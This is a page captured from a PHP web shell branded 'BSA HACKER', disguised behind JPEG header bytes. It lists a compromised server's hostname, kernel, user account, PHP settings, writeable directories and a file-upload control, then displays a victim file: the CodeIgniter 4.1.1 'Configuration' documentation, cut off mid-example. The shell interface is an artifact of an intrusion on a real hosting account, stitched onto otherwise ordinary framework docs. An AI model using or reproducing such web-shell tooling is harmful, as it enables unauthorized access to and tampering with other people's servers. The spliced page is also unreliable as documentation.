˙Ř˙ŕJFIFHH˙á .
BSA HACKER
Logo of a company Server : Apache
System : Linux nusantara.hosteko.com 4.18.0-553.16.1.lve.el8.x86_64 #1 SMP Tue Aug 13 17:45:03 UTC 2024 x86_64
User : koperas1 ( 1254)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /home/koperas1/public_html/userguide/general/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/koperas1/public_html/userguide/general/configuration.html

<!DOCTYPE html>
<html class="writer-html4" lang="en" >
<head>
  <meta charset="utf-8" />
  
  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  
  <title>Configuration &mdash; CodeIgniter 4.1.1 documentation</title>
  

  
  <link rel="stylesheet" href="../_static/css/citheme.css" type="text/css" />
  <link rel="stylesheet" href="../_static/pygments.css" type="text/css" />

  
  
    <link rel="shortcut icon" href="../_static/favicon.ico"/>
  

  
  

  

  
  <!--[if lt IE 9]>
    <script src="../_static/js/html5shiv.min.js"></script>
  <![endif]-->
  
    
      <script type="text/javascript" id="documentation_options" data-url_root="../" src="../_static/documentation_options.js"></script>
        <script type="text/javascript" src="../_static/jquery.js"></script>
        <script type="text/javascript" src="../_static/underscore.js"></script>
        <script type="text/javascript" src="../_static/doctools.js"></script>
        <script type="text/javascript" src="../_static/language_data.js"></script>
        <script type="text/javascript" src="../_static/js/citheme.js"></script>
        <script type="text/javascript" src="../_static/js/carbon.js"></script>
    
    <script type="text/javascript" src="../_static/js/theme.js"></script>

    
    <link rel="index" title="Index" href="../genindex.html" />
    <link rel="search" title="Search" href="../search.html" />
    <link rel="next" title="CodeIgniter URLs" href="urls.html" />
    <link rel="prev" title="General Topics" href="index.html" /> 
</head>

<body class="wy-body-for-nav">

   
  <div class="wy-grid-for-nav">
    
    <nav data-toggle="wy-nav-shift" class="wy-nav-side">
      <div class="wy-side-scroll">
        <div class="wy-side-nav-search"  style="background: #DD4814" >
          

          
            <a href="../index.html">
          

          
            
            <img src="../_static/ci-logo-text.png" class="logo" alt="Logo"/>
          
          </a>

          

          
<div role="search">
  <form id="rtd-search-form" class="wy-form" action="../search.html" method="get">
    <input type="text" name="q" placeholder="Search docs" />
    <input type="hidden" name="check_keywords" value="yes" />
    <input type="hidden" name="area" value="default" />
  </form>
</div>

          
        </div>

        
        <div class="wy-menu wy-menu-vertical" data-spy="affix" role="navigation" aria-label="main navigation">
          
            
            
              
            
            
              <ul>
<li class="toctree-l1"><a class="reference internal" href="../intro/index.html">Welcome to CodeIgniter4</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../intro/index.html">Welcome to CodeIgniter4</a></li>
<li class="toctree-l2"><a class="reference internal" href="../intro/requirements.html">Server Requirements</a></li>
<li class="toctree-l2"><a class="reference internal" href="../intro/credits.html">Credits</a></li>
<li class="toctree-l2"><a class="reference internal" href="../intro/psr.html">PSR Compliance</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../installation/index.html">Installation</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../installation/installing_composer.html">Composer Installation</a></li>
<li class="toctree-l2"><a class="reference internal" href="../installation/installing_manual.html">Manual Installation</a></li>
<li class="toctree-l2"><a class="reference internal" href="../installation/running.html">Running Your App</a></li>
<li class="toctree-l2"><a class="reference internal" href="../installation/upgrading.html">Upgrading From a Previous Version</a></li>
<li class="toctree-l2"><a class="reference internal" href="../installation/troubleshooting.html">Troubleshooting</a></li>
<li class="toctree-l2"><a class="reference internal" href="../installation/repositories.html">CodeIgniter Repositories</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../tutorial/index.html">Build Your First Application</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../tutorial/static_pages.html">Static pages</a></li>
<li class="toctree-l2"><a class="reference internal" href="../tutorial/news_section.html">News section</a></li>
<li class="toctree-l2"><a class="reference internal" href="../tutorial/create_news_items.html">Create news items</a></li>
<li class="toctree-l2"><a class="reference internal" href="../tutorial/conclusion.html">Conclusion</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../concepts/index.html">CodeIgniter4 Overview</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../concepts/structure.html">Application Structure</a></li>
<li class="toctree-l2"><a class="reference internal" href="../concepts/mvc.html">Models, Views, and Controllers</a></li>
<li class="toctree-l2"><a class="reference internal" href="../concepts/autoloader.html">Autoloading Files</a></li>
<li class="toctree-l2"><a class="reference internal" href="../concepts/services.html">Services</a></li>
<li class="toctree-l2"><a class="reference internal" href="../concepts/factories.html">Factories</a></li>
<li class="toctree-l2"><a class="reference internal" href="../concepts/http.html">Working With HTTP Requests</a></li>
<li class="toctree-l2"><a class="reference internal" href="../concepts/security.html">Security Guidelines</a></li>
</ul>
</li>
</ul>
<ul class="current">
<li class="toctree-l1 current"><a class="reference internal" href="index.html">General Topics</a><ul class="current">
<li class="toctree-l2 current"><a class="current reference internal" href="#">Configuration</a></li>
<li class="toctree-l2"><a class="reference internal" href="urls.html">CodeIgniter URLs</a></li>
<li class="toctree-l2"><a class="reference internal" href="helpers.html">Helper Functions</a></li>
<li class="toctree-l2"><a class="reference internal" href="common_functions.html">Global Functions and Constants</a></li>
<li class="toctree-l2"><a class="reference internal" href="logging.html">Logging Information</a></li>
<li class="toctree-l2"><a class="reference internal" href="errors.html">Error Handling</a></li>
<li class="toctree-l2"><a class="reference internal" href="caching.html">Web Page Caching</a></li>
<li class="toctree-l2"><a class="reference internal" href="ajax.html">AJAX Requests</a></li>
<li class="toctree-l2"><a class="reference internal" href="modules.html">Code Modules</a></li>
<li class="toctree-l2"><a class="reference internal" href="managing_apps.html">Managing your Applications</a></li>
<li class="toctree-l2"><a class="reference internal" href="environments.html">Handling Multiple Environments</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../incoming/index.html">Controllers and Routing</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../incoming/controllers.html">Controllers</a></li>
<li class="toctree-l2"><a class="reference internal" href="../incoming/routing.html">URI Routing</a></li>
<li class="toctree-l2"><a class="reference internal" href="../incoming/filters.html">Controller Filters</a></li>
<li class="toctree-l2"><a class="reference internal" href="../incoming/message.html">HTTP Messages</a></li>
<li class="toctree-l2"><a class="reference internal" href="../incoming/request.html">Request Class</a></li>
<li class="toctree-l2"><a class="reference internal" href="../incoming/incomingrequest.html">IncomingRequest Class</a></li>
<li class="toctree-l2"><a class="reference internal" href="../incoming/content_negotiation.html">Content Negotiation</a></li>
<li class="toctree-l2"><a class="reference internal" href="../incoming/methodspoofing.html">HTTP Method Spoofing</a></li>
<li class="toctree-l2"><a class="reference internal" href="../incoming/restful.html">RESTful Resource Handling</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../outgoing/index.html">Building Responses</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../outgoing/views.html">Views</a></li>
<li class="toctree-l2"><a class="reference internal" href="../outgoing/view_cells.html">View Cells</a></li>
<li class="toctree-l2"><a class="reference internal" href="../outgoing/view_renderer.html">View Renderer</a></li>
<li class="toctree-l2"><a class="reference internal" href="../outgoing/view_layouts.html">View Layouts</a></li>
<li class="toctree-l2"><a class="reference internal" href="../outgoing/view_parser.html">View Parser</a></li>
<li class="toctree-l2"><a class="reference internal" href="../outgoing/table.html">HTML Table Class</a></li>
<li class="toctree-l2"><a class="reference internal" href="../outgoing/response.html">HTTP Responses</a></li>
<li class="toctree-l2"><a class="reference internal" href="../outgoing/api_responses.html">API Response Trait</a></li>
<li class="toctree-l2"><a class="reference internal" href="../outgoing/localization.html">Localization</a></li>
<li class="toctree-l2"><a class="reference internal" href="../outgoing/alternative_php.html">Alternate PHP Syntax for View Files</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../database/index.html">Working With Databases</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../database/examples.html">Quick Start: Usage Examples</a></li>
<li class="toctree-l2"><a class="reference internal" href="../database/configuration.html">Database Configuration</a></li>
<li class="toctree-l2"><a class="reference internal" href="../database/connecting.html">Connecting to a Database</a></li>
<li class="toctree-l2"><a class="reference internal" href="../database/queries.html">Running Queries</a></li>
<li class="toctree-l2"><a class="reference internal" href="../database/results.html">Generating Query Results</a></li>
<li class="toctree-l2"><a class="reference internal" href="../database/helpers.html">Query Helper Functions</a></li>
<li class="toctree-l2"><a class="reference internal" href="../database/query_builder.html">Query Builder Class</a></li>
<li class="toctree-l2"><a class="reference internal" href="../database/transactions.html">Transactions</a></li>
<li class="toctree-l2"><a class="reference internal" href="../database/metadata.html">Getting MetaData</a></li>
<li class="toctree-l2"><a class="reference internal" href="../database/call_function.html">Custom Function Calls</a></li>
<li class="toctree-l2"><a class="reference internal" href="../database/events.html">Database Events</a></li>
<li class="toctree-l2"><a class="reference internal" href="../database/utilities.html">Database Utilities</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../models/index.html">Modeling Data</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../models/model.html">Using CodeIgniter's Model</a></li>
<li class="toctree-l2"><a class="reference internal" href="../models/entities.html">Using Entity Classes</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../dbmgmt/index.html">Managing Databases</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../dbmgmt/forge.html">Database Manipulation with Database Forge</a></li>
<li class="toctree-l2"><a class="reference internal" href="../dbmgmt/migration.html">Database Migrations</a></li>
<li class="toctree-l2"><a class="reference internal" href="../dbmgmt/seeds.html">Database Seeding</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../libraries/index.html">Library Reference</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../libraries/caching.html">Caching Driver</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/curlrequest.html">CURLRequest Class</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/email.html">Email Class</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/encryption.html">Encryption Service</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/files.html">Working with Files</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/honeypot.html">Honeypot Class</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/images.html">Image Manipulation Class</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/pagination.html">Pagination</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/security.html">Security</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/sessions.html">Session Library</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/throttler.html">Throttler</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/time.html">Times and Dates</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/typography.html">Typography</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/uploaded_files.html">Working with Uploaded Files</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/uri.html">Working with URIs</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/user_agent.html">User Agent Class</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/validation.html">Validation</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../helpers/index.html">Helpers</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../helpers/array_helper.html">Array Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/cookie_helper.html">Cookie Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/date_helper.html">Date Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/filesystem_helper.html">Filesystem Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/form_helper.html">Form Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/html_helper.html">HTML Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/inflector_helper.html">Inflector Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/number_helper.html">Number Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/security_helper.html">Security Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/test_helper.html">Test Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/text_helper.html">Text Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/url_helper.html">URL Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/xml_helper.html">XML Helper</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../testing/index.html">Testing</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../testing/overview.html">Getting Started</a></li>
<li class="toctree-l2"><a class="reference internal" href="../testing/database.html">Database</a></li>
<li class="toctree-l2"><a class="reference internal" href="../testing/fabricator.html">Generating Data</a></li>
<li class="toctree-l2"><a class="reference internal" href="../testing/controllers.html">Controller Testing</a></li>
<li class="toctree-l2"><a class="reference internal" href="../testing/feature.html">HTTP Testing</a></li>
<li class="toctree-l2"><a class="reference internal" href="../testing/benchmark.html">Benchmarking</a></li>
<li class="toctree-l2"><a class="reference internal" href="../testing/debugging.html">Debugging Your Application</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../cli/index.html">Command Line Usage</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../cli/cli.html">Running via the Command Line</a></li>
<li class="toctree-l2"><a class="reference internal" href="../cli/cli_commands.html">Custom CLI Commands</a></li>
<li class="toctree-l2"><a class="reference internal" href="../cli/cli_generators.html">CLI Generators</a></li>
<li class="toctree-l2"><a class="reference internal" href="../cli/cli_library.html">CLI Library</a></li>
<li class="toctree-l2"><a class="reference internal" href="../cli/cli_request.html">CLIRequest Class</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../extending/index.html">Extending CodeIgniter</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../extending/core_classes.html">Creating Core System Classes</a></li>
<li class="toctree-l2"><a class="reference internal" href="../extending/common.html">Replacing Common Functions</a></li>
<li class="toctree-l2"><a class="reference internal" href="../extending/events.html">Events</a></li>
<li class="toctree-l2"><a class="reference internal" href="../extending/basecontroller.html">Extending the Controller</a></li>
<li class="toctree-l2"><a class="reference internal" href="../extending/authentication.html">Authentication</a></li>
<li class="toctree-l2"><a class="reference internal" href="../extending/contributing.html">Contributing to CodeIgniter</a></li>
</ul>
</li>
</ul>

            
          
        </div>
        
      </div>
    </nav>

    <section data-toggle="wy-nav-shift" class="wy-nav-content-wrap">

      
      <nav class="wy-nav-top" aria-label="top navigation">
        
          <i data-toggle="wy-nav-top" class="fa fa-bars"></i>
          <a href="../index.html">CodeIgniter</a>
        
      </nav>


      <div class="wy-nav-content">
        
        <div class="rst-content">
        
          

















<div role="navigation" aria-label="breadcrumbs navigation">

  <ul class="wy-breadcrumbs">
    
      <li><a href="../index.html" class="icon icon-home"></a> &raquo;</li>
        
          <li><a href="index.html">General Topics</a> &raquo;</li>
        
      <li>Configuration</li>
    
    
      <li class="wy-breadcrumbs-aside">
        
          
        
      </li>
    
  </ul>

  
  <hr/>
</div>
          <div role="main" class="document" itemscope="itemscope" itemtype="http://schema.org/Article">
           <div itemprop="articleBody">
            
  <div class="section" id="configuration">
<h1>Configuration<a class="headerlink" href="#configuration" title="Permalink to this headline">¶</a></h1>
<p>Every framework uses configuration files to define numerous parameters and
initial settings. CodeIgniter configuration files define simple classes where
the required settings are public properties.</p>
<p>Unlike many other frameworks, CodeIgniter configurable items aren’t contained in
a single file. Instead, each class that needs configurable items will have a
configuration file with the same name as the class that uses it. You will find
the application configuration files in the <strong>/app/Config</strong> folder.</p>
<div class="contents local topic" id="contents">
<ul class="simple">
<li><a class="reference internal" href="#working-with-configuration-files" id="id2">Working With Configuration Files</a></li>
<li><a class="reference internal" href="#creating-configuration-files" id="id3">Creating Configuration Files</a></li>
<li><a class="reference internal" href="#environment-variables" id="id4">Environment Variables</a></li>
<li><a class="reference internal" href="#environment-variables-and-codeigniter" id="id5">Environment Variables and CodeIgniter</a></li>
<li><a class="reference internal" href="#nesting-variables" id="id6">Nesting Variables</a></li>
<li><a class="reference internal" href="#namespaced-variables" id="id7">Namespaced Variables</a></li>
<li><a class="reference internal" href="#configuration-classes-and-environment-variables" id="id8">Configuration Classes and Environment Variables</a></li>
<li><a class="reference internal" href="#treating-environment-variables-as-arrays" id="id9">Treating Environment Variables as Arrays</a></li>
<li><a class="reference internal" href="#handling-different-environments" id="id10">Handling Different Environments</a></li>
<li><a class="reference internal" href="#registrars" id="id11">Registrars</a></li>
</ul>
</div>
<div class="section" id="working-with-configuration-files">
<h2><a class="toc-backref" href="#id2">Working With Configuration Files</a><a class="headerlink" href="#working-with-configuration-files" title="Permalink to this headline">¶</a></h2>
<p>You can access configuration files for your classes in several different ways.</p>
<ul>
<li><p class="first">By using the <code class="docutils literal notranslate"><span class="pre">new</span></code> keyword to create an instance:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="c1">// Creating new configuration object by hand</span>
<span class="nv">$config</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">\Config\Pager</span><span class="p">();</span>
</pre></div>
</div>
</li>
<li><p class="first">By using the <code class="docutils literal notranslate"><span class="pre">config()</span></code> function:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="c1">// Get shared instance with config function</span>
<span class="nv">$config</span> <span class="o">=</span> <span class="nx">config</span><span class="p">(</span><span class="s1">&#39;Pager&#39;</span><span class="p">);</span>

<span class="c1">// Access config class with namespace</span>
<span class="nv">$config</span> <span class="o">=</span> <span class="nx">config</span><span class="p">(</span> <span class="s1">&#39;Config\\Pager&#39;</span> <span class="p">);</span>

<span class="c1">// Creating a new object with config function</span>
<span class="nv">$config</span> <span class="o">=</span> <span class="nx">config</span><span class="p">(</span><span class="s1">&#39;Pager&#39;</span><span class="p">,</span> <span class="k">false</span><span class="p">);</span>
</pre></div>
</div>
</li>
</ul>
<p>All configuration object properties are public, so you access the settings like any other property:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="nv">$config</span> <span class="o">=</span> <span class="nx">config</span><span class="p">(</span><span class="s1">&#39;Pager&#39;</span><span class="p">);</span>
<span class="c1">// Access settings as object properties</span>
<span class="nv">$pageSize</span> <span class="o">=</span> <span class="nv">$config</span><span class="o">-&gt;</span><span class="na">perPage</span><span class="p">;</span>
</pre></div>
</div>
<p>If no namespace is provided, it will look for the file in all defined namespaces
as well as <strong>/app/Config/</strong>.</p>
<p>All of the configuration files that ship with CodeIgniter are namespaced with
<code class="docutils literal notranslate"><span class="pre">Config</span></code>. Using this namespace in your application will provide the best
performance since it knows exactly where to find the files.</p>
<p>You can put configuration files in any folder you want by using a different namespace.
This allows you to put configuration files on the production server in a folder
that is not web-accessible while keeping it under <strong>/app</strong> for easy access
during development.</p>
</div>
<div class="section" id="creating-configuration-files">
<h2><a class="toc-backref" href="#id3">Creating Configuration Files</a><a class="headerlink" href="#creating-configuration-files" title="Permalink to this headline">¶</a></h2>
<p>When you need a new configuration, first you create a new file at your desired location.
The default file location (recommended for most cases) is <strong>/app/Config</strong>.
The class should use the appropriate namespace, and it should extend
<code class="docutils literal notranslate"><span class="pre">CodeIgniter\Config\BaseConfig</span></code> to ensure that it can receive environment-specific settings.</p>
<p>Define the class and fill it with public properties that represent your settings.:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="o">&lt;?</span><span class="nx">php</span>

<span class="k">namespace</span> <span class="nx">Config</span><span class="p">;</span>

<span class="k">use</span> <span class="nx">CodeIgniter\Config\BaseConfig</span><span class="p">;</span>

<span class="k">class</span> <span class="nc">CustomClass</span> <span class="k">extends</span> <span class="nx">BaseConfig</span>
<span class="p">{</span>
    <span class="k">public</span> <span class="nv">$siteName</span>  <span class="o">=</span> <span class="s1">&#39;My Great Site&#39;</span><span class="p">;</span>
    <span class="k">public</span> <span class="nv">$siteEmail</span> <span class="o">=</span> <span class="s1">&#39;webmaster@example.com&#39;</span><span class="p">;</span>

<span class="p">}</span>
</pre></div>
</div>
</div>
<div class="section" id="environment-variables">
<h2><a class="toc-backref" href="#id4">Environment Variables</a><a class="headerlink" href="#environment-variables" title="Permalink to this headline">¶</a></h2>
<p>One of today’s best practices for application setup is to use Environment Variables. One reason for this is that Environment Variables are easy to change between deploys without changing any code. Configuration can change a lot across deploys, but code does not. For instance, multiple environments, such as the developer’s local machine and the production server, usually need different configuration values for each particular setup.</p>
<p>Environment Variables should also be used for anything private such as passwords, API keys, or other sensitive data.</p>
</div>
<div class="section" id="environment-variables-and-codeigniter">
<h2><a class="toc-backref" href="#id5">Environment Variables and CodeIgniter</a><a class="headerlink" href="#environment-variables-and-codeigniter" title="Permalink to this headline">¶</a></h2>
<p>CodeIgniter makes it simple and painless to set Environment Variables by using a “dotenv” file. The term comes from the file name, which starts with a dot before the text “env”.</p>
<p>CodeIgniter expects <strong>.env</strong> to be at the root of your project alongside the <code class="docutils literal notranslate"><span class="pre">system</span></code>
and <code class="docutils literal notranslate"><span class="pre">app</span></code> directories. There is a template file distributed with CodeIgniter that’s
located at the project root named <strong>env</strong> (Notice there’s no dot (<strong>.</strong>) at the start?).
It has a large collection of variables your project might use that have been assigned
empty, dummy, or default values. You can use this file as a starting place for your
application by either renaming the template to <strong>.env</strong>, or by making a copy of it named <strong>.env</strong>.</p>
<div class="admonition important">
<p class="first admonition-title">Important</p>
<p class="last">Make sure the <strong>.env</strong> file is NOT tracked by your version control system. For <em>git</em> that means adding it to <strong>.gitignore</strong>. Failure to do so could result in sensitive credentials being exposed to the public.</p>
</div>
<p>Settings are stored in <strong>.env</strong> files as a simple a collection of name/value pairs separated by an equal sign.</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="nx">S3_BUCKET</span> <span class="o">=</span> <span class="nx">dotenv</span>
<span class="nx">SECRET_KEY</span> <span class="o">=</span> <span class="nx">super_secret_key</span>
    <span class="nx">CI_ENVIRONMENT</span> <span class="o">=</span> <span class="nx">development</span>
</pre></div>
</div>
<p>When your application runs, <strong>.env</strong> will be loaded automatically, and the variables put
into the environment. If a variable already exists in the environment, it will NOT be
overwritten. The loaded Environment variables are accessed using any of the following:
<code class="docutils literal notranslate"><span class="pre">getenv()</span></code>, <code class="docutils literal notranslate"><span class="pre">$_SERVER</span></code>, or <code class="docutils literal notranslate"><span class="pre">$_ENV</span></code>.</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="nv">$s3_bucket</span> <span class="o">=</span> <span class="nb">getenv</span><span class="p">(</span><span class="s1">&#39;S3_BUCKET&#39;</span><span class="p">);</span>
<span class="nv">$s3_bucket</span> <span class="o">=</span> <span class="nv">$_ENV</span><span class="p">[</span><span class="s1">&#39;S3_BUCKET&#39;</span><span class="p">];</span>
<span class="nv">$s3_bucket</span> <span class="o">=</span> <span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">&#39;S3_BUCKET&#39;</span><span class="p">];</span>
</pre></div>
</div>
<div class="admonition important">
<p class="first admonition-title">Important</p>
<p class="last">Note that your settings from the <strong>.env</strong> file are added to Environment Variables. As a side effect, this means that if your CodeIgniter application is (for example) generating a <code class="docutils literal notranslate"><span class="pre">var_dump($_ENV)</span></code> or <code class="docutils literal notranslate"><span class="pre">phpinfo()</span></code> (for debugging or other valid reasons) <strong>your secure credentials are publicly exposed</strong>.</p>
</div>
</div>
<div class="section" id="nesting-variables">
<h2><a class="toc-backref" href="#id6">Nesting Variables</a><a class="headerlink" href="#nesting-variables" title="Permalink to this headline">¶</a></h2>
<p>To save on typing, you can reuse variables that you’ve already specified in the file by wrapping the
variable name within <code class="docutils literal notranslate"><span class="pre">${...}</span></code></p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="nx">BASE_DIR</span><span class="o">=</span><span class="s2">&quot;/var/webroot/project-root&quot;</span>
<span class="nx">CACHE_DIR</span><span class="o">=</span><span class="s2">&quot;</span><span class="si">${</span><span class="nv">BASE_DIR</span><span class="si">}</span><span class="s2">/cache&quot;</span>
<span class="nx">TMP_DIR</span><span class="o">=</span><span class="s2">&quot;</span><span class="si">${</span><span class="nv">BASE_DIR</span><span class="si">}</span><span class="s2">/tmp&quot;</span>
</pre></div>
</div>
</div>
<div class="section" id="namespaced-variables">
<h2><a class="toc-backref" href="#id7">Namespaced Variables</a><a class="headerlink" href="#namespaced-variables" title="Permalink to this headline">¶</a></h2>
<p>There will be times when you will have several variables with the same name.
The system needs a way of knowing what the correct setting should be.
This problem is solved by “<em>namespacing</em>” the variables.</p>
<p>Namespaced variables use a dot notation to qualify variable names so they will be unique
when incorporated into the environment. This is done by including a distinguishing
prefix followed by a dot (.), and then the variable name itself.</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="c1">// not namespaced variables</span>
<span class="nx">name</span> <span class="o">=</span> <span class="s2">&quot;George&quot;</span>
<span class="nx">db</span><span class="o">=</span><span class="nx">my_db</span>

<span class="c1">// namespaced variables</span>
<span class="nx">address</span><span class="o">.</span><span class="nx">city</span> <span class="o">=</span> <span class="s2">&quot;Berlin&quot;</span>
<span class="nx">address</span><span class="o">.</span><span class="nx">country</span> <span class="o">=</span> <span class="s2">&quot;Germany&quot;</span>
<span class="nx">frontend</span><span class="o">.</span><span class="nx">db</span> <span class="o">=</span> <span class="nx">sales</span>
<span class="nx">backend</span><span class="o">.</span><span class="nx">db</span> <span class="o">=</span> <span class="nx">admin</span>
<span class="nx">BackEnd</span><span class="o">.</span><span class="nx">db</span> <span class="o">=</span> <span class="nx">admin</span>
</pre></div>
</div>
</div>
<div class="section" id="configuration-classes-and-environment-variables">
<h2><a class="toc-backref" href="#id8">Configuration Classes and Environment Variables</a><a class="headerlink" href="#configuration-classes-and-environment-variables" title="Permalink to this headline">¶</a></h2>
<p>When you instantiate a configuration class, any <em>namespaced</em> environment variables
are considered for merging into the configuration object’s properties.</p>
<p>If the prefix of a namespaced variable exactly matches the namespace of the configuration
class, then the trailing part of the setting (after the dot) is treated as a configuration
property. If it matches an existing configuration property, the environment variable’s
value will replace the corresponding value from the configuration file. If there is no match,
the configuration class properties are left unchanged. In this usage, the prefix must be
the full (case-sensitive) namespace of the class.</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="nx">Config\App</span><span class="o">.</span><span class="nx">CSRFProtection</span>  <span class="o">=</span> <span class="k">true</span>
<span class="nx">Config\App</span><span class="o">.</span><span class="nx">CSRFCookieName</span> <span class="o">=</span> <span class="nx">csrf_cookie</span>
<span class="nx">Config\App</span><span class="o">.</span><span class="nx">CSPEnabled</span> <span class="o">=</span> <span class="k">true</span>
</pre></div>
</div>
<div class="admonition note">
<p class="first admonition-title">Note</p>
<p class="last">Both the namespace prefix and the property name are case-sensitive. They must exactly match the full namespace and property names as defined in the configuration class file.</p>
</div>
<p>The same holds for a <em>short prefix</em>, which is a namespace using only the lowercase version of
the configuration class name. If the short prefix matches the class name,
the value from <strong>.env</strong> replaces the configuration file value.</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="nx">app</span><span class="o">.</span><span class="nx">CSRFProtection</span>  <span class="o">=</span> <span class="k">true</span>
<span class="nx">app</span><span class="o">.</span><span class="nx">CSRFCookieName</span> <span class="o">=</span> <span class="nx">csrf_cookie</span>
<span class="nx">app</span><span class="o">.</span><span class="nx">CSPEnabled</span> <span class="o">=</span> <span class="k">true</span>
</pre></div>
</div>
<div class="admonition note">
<p class="first admonition-title">Note</p>
<p class="last">When using the <em>short prefix</em> the property names must still exactly match the class defined name.</p>
</div>
</div>
<div class="section" id="treating-environment-variables-as-arrays">
<h2><a class="toc-backref" href="#id9">Treating Environment Variables as Arrays</a><a class="headerlink" href="#treating-environment-variables-as-arrays" title="Permalink to this headline">¶</a></h2>
<p>A namespaced environment variable can be further treated as an array.
If the prefix matches the configuration class, then the remainder of the
environment variable name is treated as an array reference if it also
contains a dot.</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="c1">// regular namespaced variable</span>
<span class="nx">Config\SimpleConfig</span><span class="o">.</span><span class="nx">name</span> <span class="o">=</span> <span class="nx">George</span>

<span class="c1">// array namespaced variables</span>
<span class="nx">Config\SimpleConfig</span><span class="o">.</span><span class="nx">address</span><span class="o">.</span><span class="nx">city</span> <span class="o">=</span> <span class="s2">&quot;Berlin&quot;</span>
<span class="nx">Config\SimpleConfig</span><span class="o">.</span><span class="nx">address</span><span class="o">.</span><span class="nx">country</span> <span class="o">=</span> <span class="s2">&quot;Germany&quot;</span>
</pre></div>
</div>
<p>If this was referring to a SimpleConfig configuration object, the above example would be treated as:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="nv">$address</span><span class="p">[</span><span class="s1">&#39;city&#39;</span><span class="p">]</span>    <span class="o">=</span> <span class="s2">&quot;Berlin&quot;</span><span class="p">;</span>
<span class="nv">$address</span><span class="p">[</span><span class="s1">&#39;country&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="s2">&quot;Germany&quot;</span><span class="p">;</span>
</pre></div>
</div>
<p>Any other elements of the <code class="docutils literal notranslate"><span class="pre">$address</span></code> property would be unchanged.</p>
<p>You can also use the array property name as a prefix. If the environment file
held the following then the result would be the same as above.</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="c1">// array namespaced variables</span>
